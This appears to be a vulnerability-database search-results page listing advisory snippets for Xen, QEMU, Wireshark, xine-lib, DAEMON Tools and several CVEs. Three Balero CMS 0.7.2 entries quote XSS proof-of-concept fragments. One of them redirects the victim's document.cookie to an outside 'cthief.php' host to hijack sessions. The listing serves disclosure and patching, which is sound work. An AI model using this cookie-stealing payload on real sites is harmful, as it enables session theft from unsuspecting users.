124 matches found
SUSE SLED12 / SLES12 Security Update : xen (SUSE-SU-2015:1908-1)
xen was updated to version 4.4.3 to fix nine security issues. These security issues were fixed : - CVE-2015-4037: The slirpsmb function in net/slirp.c created temporary files with predictable names, which allowed local users to cause a denial of service instantiation failure by creating...
SUSE: Security Advisory for xen (SUSE-SU-2015:1908-1)
The remote host is missing an update for the SPDX-FileCopyrightText: 2015 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...
[USN-2745-1] QEMU vulnerabilities
========================================================================== Ubuntu Security Notice USN-2745-1 September 24, 2015 qemu, qemu-kvm vulnerabilities ========================================================================== A security issue affects these releases of Ubuntu and its...
Ubuntu: Security Advisory (USN-2745-1)
The remote host is missing an update for the SPDX-FileCopyrightText: 2015 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...
Security Advisory 0014
Security Advisory 0014 PDF Date: September 23rd, 2015 Revision | Date | Changes ---|---|--- 1.0 | September 23rd, 2015 | Initial release 1.1 | August 11th, 2023 | Updated discovered EOS version 4.12.1 Arista Products vulnerability report for security released for QEMU between August 27th and...
Balero CMS 0.7.2 Cross Site Scripting / SQL Injection Vulnerabilities
Balero CMS version 0.7.2 suffers from cross site scripting and SQL injection vulnerabilities. document.cookie="counter=1confirm'XSS'; path=/balerocms/"; csrf+stored xss+filter bypass+session hijack: input type="hidden" name="content" value...
Balero CMS 0.7.2 - Multiple JS/HTML Injection Vulnerabilities
document.cookie="counter=1confirm'XSS'; path=/balerocms/"; csrf+stored xss+filter bypass+session hijack: document.location="http://www.zeroscience.mk/pentest/cthief.php?cookie="+docu\ment.cookie;" /...
Balero CMS 0.7.2 Cross Site Scripting
document.cookie="counter=1confirm'XSS'; path=/balerocms/"; csrf+stored xss+filter bypass+session hijack: document.location="http://www.zeroscience.mk/pentest/cthief.php?cookie="+docu\ment.cookie;"...
CVE-2014-5239
Summary: CVE-2014-5239 affects Outlook.com for Android prior to version 7.8.2.12.49.7090, where the WebView-based login flow does not verify X.509 certificates, enabling MITM attacks and potential credential leakage. Root cause: insecure SSL handling in the app’s SSL error path. Impact (as descri...
openSUSE Security Update : MozillaFirefox (MozillaFirefox-5239)
Mozilla Firefox was updated to version 7.0.1, which fixes some regressions found in the 7.0 release. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plugin were extracted from openSUSE Security Update MozillaFirefox-5239. The text description o...
[ MDVSA-2013:020 ] wireshark
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Mandriva Linux Security Advisory MDVSA-2013:020 http://www.mandriva.com/en/support/security/ Package : wireshark Date : March 8, 2013 Affected: Enterprise Server 5.0 Problem Description: Multiple vulnerabilities was found and corrected in Wireshark:...
CVE-2011-5239
CVE-2011-5239 affects CiviCRM 4.0.5 and 4.1.1; the issue is that the server hostname is not verified against the domain in the certificate’s CN or subjectAltName. This allows man-in-the-middle attackers to spoof SSL servers using an arbitrary valid certificate. Publicly available references in th...
CVE-2012-5239
CVE-2012-5239 is rejected/not used and does not represent an active vulnerability entry.
CVE-2010-5239
The CVE-2010-5239 issue affects DAEMON Tools Lite (v4.35.6.0091) and DAEMON Tools Pro Standard (v4.36.0309.0160). It is an untrusted search path/LPE vulnerability where a Trojan horse mfc80loc.dll in the current working directory can be loaded to escalate privileges (illustrated by a directory co...
KLA10021 LPE vulnerability in DAEMON Tools
An unspecified vulnerability was found in the DAEMON Tools. By exploiting this vulnerability malicious users can gain privileges. This vulnerability can be exploited from the network at a point related to path search. Via a Trojan horse. Original advisories NVD Exploitation Public exploits exist...
Scientific Linux Security Update : jdk (java) on SL3.x, SL4.x i386/x86_64
NOTE: This combination of rpm's replaces j2sdk-1.4.2 with jdk-1.5.0. So your java will change from version 1.4.2 to 1.5.0. We apologize if this causes any problems, but it needed to be done for security reasons. A flaw in the applet caching mechanism of the Java Runtime Environment JRE did not...
SuSE 10 Security Update : Linux kernel (ZYPP Patch Number 5239)
This kernel update fixes the following security problems : - tunneled ipv6 packets SIT could trigger a memory leak in the kernel. Remote attackers could exploit that to crash machines. CVE-2008-2136 Additionally the following bugfixes have been included for all platforms : -...
Mandriva Security Advisory MDVSA-2009:319 (xine-lib)
The remote host is missing an update to xine-lib announced via advisory MDVSA-2009:319. SPDX-FileCopyrightText: 2009 E-Soft Inc. Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only OR...
Mandriva Linux Security Advisory : xine-lib (MDVSA-2009:319)
Vulnerabilities have been discovered and corrected in xine-lib : Failure on Ogg files manipulation can lead remote attackers to cause a denial of service by using crafted files CVE-2008-3231. Failure on manipulation of either MNG or Real or MOD files can lead remote attackers to cause a denial of...